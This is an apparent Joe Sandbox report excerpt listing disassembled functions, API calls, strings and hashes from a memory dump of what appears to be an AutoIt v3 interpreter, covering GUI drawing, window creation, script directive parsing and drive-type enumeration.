GETCURRENTCOL, xrefs: 00C53D2E
SELECTSTRING, xrefs: 00C53C0C
GETLINECOUNT, xrefs: 00C53CCC
DELSTRING, xrefs: 00C53B4F
ISVISIBLE, xrefs: 00C53A3D
UNCHECK, xrefs: 00C53C89
GETCURRENTLINE, xrefs: 00C53CF3
FINDSTRING, xrefs: 00C53B7C
GETSELECTED, xrefs: 00C53CA9
ADDSTRING, xrefs: 00C53B1C
TABLEFT, xrefs: 00C53A8D
GETLINE, xrefs: 00C53DA1
TABRIGHT, xrefs: 00C53AA3
HIDEDROPDOWN, xrefs: 00C53B06
CURRENTTAB, xrefs: 00C53AC3
SENDCOMMANDID, xrefs: 00C53DE0
GETCURRENTSELECTION, xrefs: 00C53BE9
EDITPASTE, xrefs: 00C53D65
ISENABLED, xrefs: 00C53A71
ISCHECKED, xrefs: 00C53C3F
SETCURRENTSELECTION, xrefs: 00C53BBC

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: 2bbb4bfb3bc4ef31c11f620201de930008077ba570e4b862413091ad96299600
Instruction ID: ee079c773ffab8fad605dea2d02b0c28eb6131a321cb6ef5add9d4b3520bce0b
Opcode Fuzzy Hash: 2bbb4bfb3bc4ef31c11f620201de930008077ba570e4b862413091ad96299600
Instruction Fuzzy Hash: DFD1C2382142408BCB04FF10C452A6AB7E5EF84385F144559FC565B3A3DB71EE8ECB5A

Function 00C5A9C7 Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00C5AA1D
GetSysColorBrush.USER32(0000000F), ref: 00C5AA4E
GetSysColor.USER32(0000000F), ref: 00C5AA5A
SetBkColor.GDI32(?,000000FF), ref: 00C5AA74
SelectObject.GDI32(?,00000000), ref: 00C5AA83
InflateRect.USER32(?,000000FF,000000FF), ref: 00C5AAAE
GetSysColor.USER32(00000010), ref: 00C5AAB6
CreateSolidBrush.GDI32(00000000), ref: 00C5AABD
FrameRect.USER32(?,?,00000000), ref: 00C5AACC
DeleteObject.GDI32(00000000), ref: 00C5AAD3
InflateRect.USER32(?,000000FE,000000FE), ref: 00C5AB1E
FillRect.USER32(?,?,00000000), ref: 00C5AB50
GetWindowLongW.USER32(?,000000F0), ref: 00C5AB7B

Part of subcall function 00C5ACB7: GetSysColor.USER32(00000012), ref: 00C5ACF0
Part of subcall function 00C5ACB7: SetTextColor.GDI32(?,?), ref: 00C5ACF4
Part of subcall function 00C5ACB7: GetSysColorBrush.USER32(0000000F), ref: 00C5AD0A
Part of subcall function 00C5ACB7: GetSysColor.USER32(0000000F), ref: 00C5AD15
Part of subcall function 00C5ACB7: GetSysColor.USER32(00000011), ref: 00C5AD32
Part of subcall function 00C5ACB7: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00C5AD40
Part of subcall function 00C5ACB7: SelectObject.GDI32(?,00000000), ref: 00C5AD51
Part of subcall function 00C5ACB7: SetBkColor.GDI32(?,00000000), ref: 00C5AD5A
Part of subcall function 00C5ACB7: SelectObject.GDI32(?,?), ref: 00C5AD67
Part of subcall function 00C5ACB7: InflateRect.USER32(?,000000FF,000000FF), ref: 00C5AD86
Part of subcall function 00C5ACB7: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00C5AD9D
Part of subcall function 00C5ACB7: GetWindowLongW.USER32(00000000,000000F0), ref: 00C5ADB2
Part of subcall function 00C5ACB7: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00C5ADDA

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: cbee7961b44658ead31726d79adeb8d3aa219a770a08b43bf5843c6c4384aeea
Instruction ID: 7eee2b9344d8e90a86a23ff783e237c0511d260776cbcee6e5d006941bd70c0c
Opcode Fuzzy Hash: cbee7961b44658ead31726d79adeb8d3aa219a770a08b43bf5843c6c4384aeea
Instruction Fuzzy Hash: DD917F71008305AFC7219F66DC08B6F7BA9FF49321F204B19F962A61A1D7B1D984CF96

Function 00BD2FE8 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00BD3072
DeleteObject.GDI32(00000000), ref: 00BD30B8
DeleteObject.GDI32(00000000), ref: 00BD30C3
DestroyIcon.USER32(00000000,?,?,?), ref: 00BD30CE
DestroyWindow.USER32(00000000,?,?,?), ref: 00BD30D9
SendMessageW.USER32(?,00001308,?,00000000), ref: 00C0C6AC
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00C0C6E5
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00C0CB0E

Part of subcall function 00BD1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00BD2412,?,00000000,?,?,?,?,00BD1AA7,00000000,?), ref: 00BD1F76

SendMessageW.USER32(?,00001053), ref: 00C0CB4B
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00C0CB62
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00C0CB78
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00C0CB83

Strings

0, xrefs: 00C0C9A2

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 0449a0db337f4639fe59cc4b23cee8918f6a5995d0a2ad5f0d7cab9d910fb0d7
Instruction ID: 8e16c8cde8e17b78acd09b427c80f879bc716c80840d916c973e345f5f494176
Opcode Fuzzy Hash: 0449a0db337f4639fe59cc4b23cee8918f6a5995d0a2ad5f0d7cab9d910fb0d7
Instruction Fuzzy Hash: 6F127C70604201EFDB25CF24C8C4BAAB7E5BF44700F1486AAF965DB2A2D771EA41DF91

Function 00BE27FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON

Download Yara Rule

APIs

Part of subcall function 00BF0F16: std::exception::exception.LIBCMT ref: 00BF0F4C
Part of subcall function 00BF0F16: __CxxThrowException@8.LIBCMT ref: 00BF0F61

__wcsnicmp.LIBCMT ref: 00BE286A
__wcsnicmp.LIBCMT ref: 00BE287E
__wcsnicmp.LIBCMT ref: 00BE2896
__wcsnicmp.LIBCMT ref: 00BE28AE
__wcsnicmp.LIBCMT ref: 00BE28C6
__wcsnicmp.LIBCMT ref: 00BE28DE
__wcsnicmp.LIBCMT ref: 00BE28F6
__wcsnicmp.LIBCMT ref: 00BE290A
__wcsnicmp.LIBCMT ref: 00BE2948
__wcsnicmp.LIBCMT ref: 00BE295C
__wcsnicmp.LIBCMT ref: 00BE2970
__wcsnicmp.LIBCMT ref: 00BE2984

Strings

#notrayicon, xrefs: 00BE2878
#pragma compile, xrefs: 00BE2864
#cs, xrefs: 00BE2904, 00BE2956
#requireadmin, xrefs: 00BE2890
Cannot parse #include, xrefs: 00C1FC65
#include, xrefs: 00BE28D8
#comments-start, xrefs: 00BE28F0, 00BE2942
", xrefs: 00C1FB09
#OnAutoItStartRegister, xrefs: 00BE28A8
#comments-end, xrefs: 00BE296A
', xrefs: 00C1FB1F
#ce, xrefs: 00BE297E
Unterminated group of comments, xrefs: 00C1FC7A
Bad directive syntax error, xrefs: 00C1FB53, 00C1FB70
#include-once, xrefs: 00BE28C0

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 2660009612-1645009161
Opcode ID: 7afc8f23b0448cbbfe019067c2d52d8591eacd4ec5708ec37795b23e13720f31
Instruction ID: bd079c9e72710f7d65706224306bab40fc2708757be253650582919babb301ea
Opcode Fuzzy Hash: 7afc8f23b0448cbbfe019067c2d52d8591eacd4ec5708ec37795b23e13720f31
Instruction Fuzzy Hash: 45A19131A04249BBCB24AF62CC92EBE77F9AF45700F1440B8F9156B292DBB0DE55D750

Function 00C4795A Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00C4798D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00C47A4C
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00C47A8A
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00C47A9C
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00C47AE2
GetClientRect.USER32(00000000,?), ref: 00C47AEE
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00C47B32
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00C47B41
GetStockObject.GDI32(00000011), ref: 00C47B51
SelectObject.GDI32(00000000,00000000), ref: 00C47B55
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00C47B65
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00C47B6E
DeleteDC.GDI32(00000000), ref: 00C47B77
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00C47BA3
SendMessageW.USER32(00000030,00000000,00000001), ref: 00C47BBA
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00C47BF5
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00C47C09
SendMessageW.USER32(00000404,00000001,00000000), ref: 00C47C1A
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00C47C4A
GetStockObject.GDI32(00000011), ref: 00C47C55
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00C47C60
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00C47C6A

Strings

msctls_progress32, xrefs: 00C47BEB
static, xrefs: 00C47B2C, 00C47C44
DISPLAY, xrefs: 00C47B37
AutoIt v3, xrefs: 00C47ADA

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 8c9da95b61c88040cc3e6c0b3910b9ca5bda966fa71a2b4edbd361fba3ccabeb
Instruction ID: 98621f3bd08e26ea82548b97387a52d3c8b44be79af707253237040d24a23e8a
Opcode Fuzzy Hash: 8c9da95b61c88040cc3e6c0b3910b9ca5bda966fa71a2b4edbd361fba3ccabeb
Instruction Fuzzy Hash: 39A18171A00619BFEB24DBA5DD4AFAF7BB9EB44710F104255FA15A72E0D7B0AD00CB60

Function 00C3B1C0 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00C3B1CE
GetDriveTypeW.KERNEL32(?,00C62C4C,?,\\.\,00C60980), ref: 00C3B2AB
SetErrorMode.KERNEL32(00000000,00C62C4C,?,\\.\,00C60980), ref: 00C3B409

Strings

RAID, xrefs: 00C3B3A7
SSA, xrefs: 00C3B392
SAS, xrefs: 00C3B3B5
USB, xrefs: 00C3B3A0
PhysicalDrive, xrefs: 00C3B257
Unknown, xrefs: 00C3B2CB, 00C3B36F
ATA, xrefs: 00C3B384
FileBackedVirtual, xrefs: 00C3B3D8
SCSI, xrefs: 00C3B376
1394, xrefs: 00C3B38B
RAMDisk, xrefs: 00C3B2D5
SSD, xrefs: 00C3B336
iSCSI, xrefs: 00C3B3AE
Fixed, xrefs: 00C3B2F3
MMC, xrefs: 00C3B3CA
Network, xrefs: 00C3B2E9
Fibre, xrefs: 00C3B399
SATA, xrefs: 00C3B3BC
\\.\, xrefs: 00C3B220
ATAPI, xrefs: 00C3B37D
Removable, xrefs: 00C3B2FD
Virtual, xrefs: 00C3B3D1
CDROM, xrefs: 00C3B2DF

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: f71662626e164710c9f6463c2be3f5f1dea5650843886965efc2b64e30f47381
Instruction ID: 7ad36b6295e19d82de354e4b1f60a2f74e059753bfd50fe9e15cab30906261da
Opcode Fuzzy Hash: f71662626e164710c9f6463c2be3f5f1dea5650843886965efc2b64e30f47381
Instruction Fuzzy Hash: F6513434260214EBCB54EB16D8A2CBEB3A1FB00704F24456AF616B72A0DFB19E01EB45

Function 00C5ACB7 Relevance: 39.2, APIs: 26, Instructions: 187windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00C5ACF0
SetTextColor.GDI32(?,?), ref: 00C5ACF4
GetSysColorBrush.USER32(0000000F), ref: 00C5AD0A
GetSysColor.USER32(0000000F), ref: 00C5AD15
CreateSolidBrush.GDI32(?), ref: 00C5AD1A
GetSysColor.USER32(00000011), ref: 00C5AD32
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00C5AD40
SelectObject.GDI32(?,00000000), ref: 00C5AD51
SetBkColor.GDI32(?,00000000), ref: 00C5AD5A
SelectObject.GDI32(?,?), ref: 00C5AD67
InflateRect.USER32(?,000000FF,000000FF), ref: 00C5AD86
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00C5AD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 00C5ADB2
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00C5ADDA
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00C5AE01
InflateRect.USER32(?,000000FD,000000FD), ref: 00C5AE1F
DrawFocusRect.USER32(?,?), ref: 00C5AE2A
GetSysColor.USER32(00000011), ref: 00C5AE38
SetTextColor.GDI32(?,00000000), ref: 00C5AE40
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00C5AE54
SelectObject.GDI32(?,00C5A9E7), ref: 00C5AE6B
DeleteObject.GDI32(?), ref: 00C5AE76
SelectObject.GDI32(?,?), ref: 00C5AE7C
DeleteObject.GDI32(?), ref: 00C5AE81
SetTextColor.GDI32(?,?), ref: 00C5AE87
SetBkColor.GDI32(?,?), ref: 00C5AE91

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 3cc91d7d616e397c2ca3a7d1f4f730d0c31a2ac29daf152d410e77b464da96d7
Instruction ID: 8f77db7e2b7257c0409acdb3cf094b0f207d80effd580475c822ef200f1a003f
Opcode Fuzzy Hash: 3cc91d7d616e397c2ca3a7d1f4f730d0c31a2ac29daf152d410e77b464da96d7
Instruction Fuzzy Hash: BC512D75901208AFDB219FA6DC48FAF7B79EF08321F204615F915BB2A1D7B19A40DF90

Function 00C58DC2 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00C58EAE
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00C58EBF
CharNextW.USER32(0000014E), ref: 00C58EEE
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00C58F2F
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00C58F45
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00C58F56
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00C58F73
SetWindowTextW.USER32(?,0000014E), ref: 00C58FC5
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00C58FDB
SendMessageW.USER32(?,00001002,00000000,?), ref: 00C5900C
_memset.LIBCMT ref: 00C59031
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00C5907A
_memset.LIBCMT ref: 00C590D9
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00C59103
SendMessageW.USER32(?,00001074,?,00000001), ref: 00C5915B
SendMessageW.USER32(?,0000133D,?,?), ref: 00C59208
InvalidateRect.USER32(?,00000000,00000001), ref: 00C5922A
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00C59274
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00C592A1
DrawMenuBar.USER32(?), ref: 00C592B0
SetWindowTextW.USER32(?,0000014E), ref: 00C592D8

Strings

0, xrefs: 00C59242

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: ff0cc61daa83c1eeac2767f0d9cb7e9a82504bcbbeee30c6a044659895ca6bcb
Instruction ID: 5754e85d1c7750dc2f583538869f8c2bc3d683570c2a138c5b96380748991769
Opcode Fuzzy Hash: ff0cc61daa83c1eeac2767f0d9cb7e9a82504bcbbeee30c6a044659895ca6bcb
Instruction Fuzzy Hash: 2EE19278900219EFDF209F91CC85AEE7BB8FF05711F108195FD25A6191DBB08A89DF64

Function 00C54C94 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00C54DCF
GetDesktopWindow.USER32 ref: 00C54DE4
GetWindowRect.USER32(00000000), ref: 00C54DEB
GetWindowLongW.USER32(?,000000F0), ref: 00C54E4D
DestroyWindow.USER32(?), ref: 00C54E79
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00C54EA2
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00C54EC0
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00C54EE6
SendMessageW.USER32(?,00000421,?,?), ref: 00C54EFB
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00C54F0E
IsWindowVisible.USER32(?), ref: 00C54F2E
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00C54F49
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00C54F5D
GetWindowRect.USER32(?,?), ref: 00C54F75
MonitorFromPoint.USER32(?,?,00000002), ref: 00C54F9B
GetMonitorInfoW.USER32(00000000,?), ref: 00C54FB5
CopyRect.USER32(?,?), ref: 00C54FCC
SendMessageW.USER32(?,00000412,00000000), ref: 00C55037

Strings

0, xrefs: 00C54D7A
(, xrefs: 00C54FA8
tooltips_class32, xrefs: 00C54E9B

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: d070b960873cb410a313a2aedaccbbb89201f452aa65e663a01e7c3454242f0b
Instruction ID: f657ea7881b488dcece08454f3273e0439e5d491829e8f3bf8dbede6edb3a0d1
Opcode Fuzzy Hash: d070b960873cb410a313a2aedaccbbb89201f452aa65e663a01e7c3454242f0b
Instruction Fuzzy Hash: D9B18B70604740AFDB14DF25C845B6FFBE4BF84304F008A19F999AB291D7B1E989CB96

Function 00C347F7 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00C34809
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00C3482F
_wcscpy.LIBCMT ref: 00C3485D
_wcscmp.LIBCMT ref: 00C34868
_wcscat.LIBCMT ref: 00C3487E
_wcsstr.LIBCMT ref: 00C34889
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00C348A5
_wcscat.LIBCMT ref: 00C348EE
_wcscat.LIBCMT ref: 00C348F5
_wcsncpy.LIBCMT ref: 00C34920

Strings

DefaultLangCodepage, xrefs: 00C34908
04090000, xrefs: 00C348DB
StringFileInfo\, xrefs: 00C34878
\VarFileInfo\Translation, xrefs: 00C3489D
%u.%u.%u.%u, xrefs: 00C34983

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 2855b408a0fb293ce0b5d80e78a9a6f058c177c5c9a015879aba8110e5852abe
Instruction ID: 1b0d09446295c4b28c4e2a1cccbe9c748d0b1c32fd138a69cbb77ab72b2df3f1
Opcode Fuzzy Hash: 2855b408a0fb293ce0b5d80e78a9a6f058c177c5c9a015879aba8110e5852abe
Instruction Fuzzy Hash: D64106326142087AEB24BB758C43EBF77ECDF41710F1400A6FA05E7192EB74AA0597A5

Function 00BD2BA9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00BD2C8C
GetSystemMetrics.USER32(00000007), ref: 00BD2C94
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00BD2CBF
GetSystemMetrics.USER32(00000008), ref: 00BD2CC7
GetSystemMetrics.USER32(00000004), ref: 00BD2CEC
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00BD2D09
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00BD2D19
